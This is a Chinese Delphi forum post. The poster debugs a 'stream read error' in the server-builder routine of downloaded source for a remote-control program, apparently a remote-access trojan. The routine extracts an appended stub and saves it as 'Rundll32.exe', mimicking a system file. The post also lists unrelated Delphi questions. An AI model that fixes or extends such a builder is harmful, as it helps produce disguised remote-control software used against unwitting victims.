从网上下了个“小马哥远程控制”源码想学习一下,发现代码能编译,但生成服务端时出现“stream read error”错误:
procedure TForm1.sverClick(Sender: TObject);
var fme:TMemoryStream;
clf:TfileStream;
size:integer;
stf:string;
begin
stf:=ExtractFilePath(Paramstr(0))+'Rundll32.exe';
if fileexists(stf) then deletefile(stf); fme:=TMemoryStream.Create;
clf:=Tfilestream.Create(application.ExeName,fmShareDenyNone);
try
clf.Seek(-sizeof(size),soFromEnd);
clf.ReadBuffer(size,sizeof(size));
clf.Seek(-size,soFromEnd);
fme.CopyFrom(clf,size-sizeof(size));
fme.SaveToFile(stf); //此处出错:stream read error!
finally
fme.Free;
clf.Free;
end; form4.Visible :=true;
FORM4.T1.Enabled :=TRUE;
form1.Enabled :=false;
end;
procedure TForm1.sverClick(Sender: TObject);
var fme:TMemoryStream;
clf:TfileStream;
size:integer;
stf:string;
begin
stf:=ExtractFilePath(Paramstr(0))+'Rundll32.exe';
if fileexists(stf) then deletefile(stf); fme:=TMemoryStream.Create;
clf:=Tfilestream.Create(application.ExeName,fmShareDenyNone);
try
clf.Seek(-sizeof(size),soFromEnd);
clf.ReadBuffer(size,sizeof(size));
clf.Seek(-size,soFromEnd);
fme.CopyFrom(clf,size-sizeof(size));
fme.SaveToFile(stf); //此处出错:stream read error!
finally
fme.Free;
clf.Free;
end; form4.Visible :=true;
FORM4.T1.Enabled :=TRUE;
form1.Enabled :=false;
end;
解决方案 »
- ExpressScheduler Suite v2.8和cxGrid5.91一起安装有冲突啊~~
- 新手求教~ RAVE reports中打印报表如何指定打印机?
- ADO连接数据库的问题,太怪了,大家帮忙看看,谢谢了!
- 请教 n K字节大小的数据块取CRC32校检码的重码概率为多少及计算方式
- delphi的数据库连接
- 邮件发送中的身份验证问题
- 当原来的事件(有代码)被赋值为nil后如何还原呢?
- quickReport的问题
- 如何连网?
- 如何将.db或.dbf的数据导入到.mdb(Access库)里?
- 菜鸟问题,如何遍历窗体的所有TWinControl
- 安装SQL Server2000报错:The program is used internally by PackageFromTheWeb.It Should not be executed directly!
//还是同样错
到这句时,size的値不对,size-sizeof(size)小于0